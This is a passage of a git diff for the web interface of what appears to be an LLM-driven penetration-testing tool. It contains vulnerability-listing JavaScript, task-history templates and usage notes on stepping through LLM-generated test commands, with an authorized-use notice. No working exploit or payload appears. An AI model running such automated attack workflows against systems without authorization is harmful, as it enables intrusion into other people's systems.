1; +function renderVulPage(page) { + currentVulPage = page; + const start = (page - 1) * pageSize; + const end = start + pageSize; + const pageData = allVuls.slice(start, end); + + const tbody = document.querySelector("#vulTable tbody"); + renderTableRows(tbody, pageData); + + // 更新分页按钮 + document.getElementById("vulPrev").dataset.page = page > 1 ? page - 1 : 1; + document.getElementById("vulNext").dataset.page = (end < allVuls.length) ? page + 1 : page; +} + +// 查询漏洞数据 +async function searchVulnerabilities(page = 1) { + if(cur_task_id === 0){return;} + const nodeName = document.getElementById("vulNodeName").value.trim(); + const vulType = document.getElementById("vulType").value.trim(); + const vulLevel = document.getElementById("vulLevel").value; + try { + const res = await fetch("/api/task/getvul", { + method: "POST", + headers: { + "Content-Type": "application/json", + }, + body: JSON.stringify({ + cur_task_id, + nodeName, + vulType, + vulLevel + }), + }); + if (!res.ok) { + const errorData = await res.json(); + throw new Error(errorData.error || `HTTP错误 ${res.status}`); + } + const data = await res.json(); + allVuls = data.vuls; + renderVulPage(1) + } catch (error) { + console.error("获取漏洞数据失败：", error); + } +} + +//导出漏洞数据 +async function ExportVuls(){ + alert("导出漏洞功能实现中。。。") +} + +// 绑定漏洞数据查询按钮事件 +document.getElementById("vulSearchBtn").addEventListener("click", () => { + searchVulnerabilities(); +}); +// 绑定漏洞数据分页点击事件 +document.getElementById("vulPrev").addEventListener("click", (e) => { + const page = parseInt(e.target.dataset.page, 10); + renderVulPage(page); +}); +document.getElementById("vulNext").addEventListener("click", (e) => { + const page = parseInt(e.target.dataset.page, 10); + renderVulPage(page); +}); diff --git a/web/main/templates/assets_manager.html b/web/main/templates/assets_manager.html index 30ea576..15aa44c 100644 --- a/web/main/templates/assets_manager.html +++ b/web/main/templates/assets_manager.html @@ -8,6 +8,7 @@ {% block content %} +

        功能建设中，在二期实现。。。

        {% endblock %} diff --git a/web/main/templates/his_task.html b/web/main/templates/his_task.html index 30ea576..5d2e190 100644 --- a/web/main/templates/his_task.html +++ b/web/main/templates/his_task.html @@ -2,14 +2,660 @@ {% block title %}ZFSAFE{% endblock %} + +{% block style_link %} + +{% endblock %} + {% block style %} + + /* 查询条件区域：使用 row 分布，输入框占满所在列 */ + .search-section .form-control, + .search-section .form-select { + width: 100%; + } + /* 查询条件区域，每个条件统一高度且左右间隔均等 */ + .search-section .col { + padding: 0 5px; + } + + /* 表格样式：统一垂直居中 */ + .table thead th, .table tbody td { + vertical-align: middle; + text-align: center; + } + + /* 分页区域右对齐 */ + .pagination-section { + text-align: right; + padding-right: 15px; + } + + /* 固定行高，比如 45px，每页 10 行 */ + .fixed-row-height { + height: 45px; + overflow: hidden; + } + /* 模态框内部最大高度，超出部分滚动 */ + .modal-dialog { + max-height: calc(100vh+20px); + } + .modal-content { + max-height: calc(100vh+20px); + } + .modal-body { + overflow-y: auto; + } + /* 这里设置页码按钮样式（可根据需要调整） */ + .pagination { + margin: 0; + } + .disabled-btn { + /* 禁用状态样式 */ + background-color: #cccccc; /* 灰色背景 */ + color: #666666; /* 文字颜色变浅 */ + cursor: not-allowed; /* 鼠标显示禁用图标 */ + opacity: 0.7; /* 可选：降低透明度 */ + + /* 禁用点击事件（通过 disabled 属性已实现，此样式仅增强视觉效果） */ + pointer-events: none; /* 可选：彻底阻止鼠标事件 */ + } + + .offcanvas-backdrop.show { + z-index: 1055; + } + + /* 再把 offcanvas 本身提到更高，超过 modal（modal 是 1055） */ + .offcanvas.show { + z-index: 1060; + } + /* 让所有右侧 offcanvas-end 都变成 60% 宽 */ + .offcanvas.offcanvas-end { + width: 60% !important; + max-width: none; /* 取消默认 max-width */ + } {% endblock %} {% block content %} + +
        + +
        +
        + +
        + +
        +
        + +
        +
        + +
        +
        + +
        +
        + +
        +
        + +
        +
        +
        + + +
        + + + + + + + + + + + + + + + +
        ID检测目标开始时间结束时间风险等级使用模型操作
        +
        + + +
        + +
        +
        + + + + + + +
        +
        + + + + +
        测试指令
        + +
        +
        + +
        + +
        + + +
        请稍后，数据获取中...
        + + +
        + +
        + + + + + + + + + + + + +
        序号执行指令执行时间执行结果
        + + +
        + +
        + + + + + + + + + + + +
        序号待执行指令操作
        + + +
        +
        + +
        + +
        +
        +
        + {% endblock %} {% block script %} + + + {% endblock %} \ No newline at end of file diff --git a/web/main/templates/index.html b/web/main/templates/index.html index 56a9b65..0db168f 100644 --- a/web/main/templates/index.html +++ b/web/main/templates/index.html @@ -91,9 +91,9 @@ 3.单步的作用是将节点中：待执行的指令进行执行，待提交LLM的数据提交LLM； 4.顶部的单步是针对整个任务的单步执行，若节点执行状态不一致，会存在某些节点执行测试指令，某些节点提交llm任务的情况，节点树区域的控制是针对该节点的控制； 5.由于LLM的不一致性，会存在无执行任务，但没有标记完成的任务节点，可作为已完成论； -6 -7 -8.本工具的使用，仅限于在得到授权的前提下使用，若目标重要性很高，请使用单步模式，确认测试指令的影响后执行。 +6.在单步模式下，若某指令执行的结果错误，可以在查看MSG功能里，修改待提交的执行结果，来保障测试的顺利推进； +7.对于已经验证漏洞存在的节点，若LLM返回了测试指令，但没有必要继续验证的话，可以点击该节点的暂停按钮，暂停该节点的测试推进； +8.本工具仅限于在得到授权的前提下使用，若目标重要性很高，请使用单步模式，确认测试指令的影响后执行。 diff --git a/web/main/templates/system_manager.html b/web/main/templates/system_manager.html index 30ea576..6a248c1 100644 --- a/web/main/templates/system_manager.html +++ b/web/main/templates/system_manager.html @@ -4,12 +4,103 @@ {% block style %} + .btn-blue { + background-color: #007bff; + color: white; + } + .btn-blue:hover { + background-color: #0056b3; + } {% endblock %} {% block content %} +
        + + +
        +
        +
        +

        1.0.0.1

        +
        +
        +
        +
        +
        +
        +
        +
        +

        1.0.0.1

        +
        +
        +
        +
        +
        +
        +
        +
        + + {% endblock %} {% block script %} + {% endblock %} \ No newline at end of file diff --git a/web/main/templates/task_manager.html b/web/main/templates/task_manager.html index f07c8be..ff7d866 100644 --- a/web/main/templates/task_manager.html +++ b/web/main/templates/task_manager.html @@ -314,14 +314,29 @@ + - +
        + + + + + + + + + + + + - + - + @@ -371,15 +386,18 @@
        +
        序号序号 节点路径指令序号指序 执行指令 执行结果
        diff --git a/web/main/templates/task_manager_modal.html b/web/main/templates/task_manager_modal.html index d6ceb9e..51b58ab 100644 --- a/web/main/templates/task_manager_modal.html +++ b/web/main/templates/task_manager_modal.html @@ -189,7 +189,7 @@
        - +
        @@ -199,6 +199,7 @@
        +
        diff --git a/web/main/templates/vul_manager.html b/web/main/templates/vul_manager.html index 30ea576..15aa44c 100644 --- a/web/main/templates/vul_manager.html +++ b/web/main/templates/vul_manager.html @@ -8,6 +8,7 @@ {% block content %} +

        功能建设中，在二期实现。。。

        {% endblock %}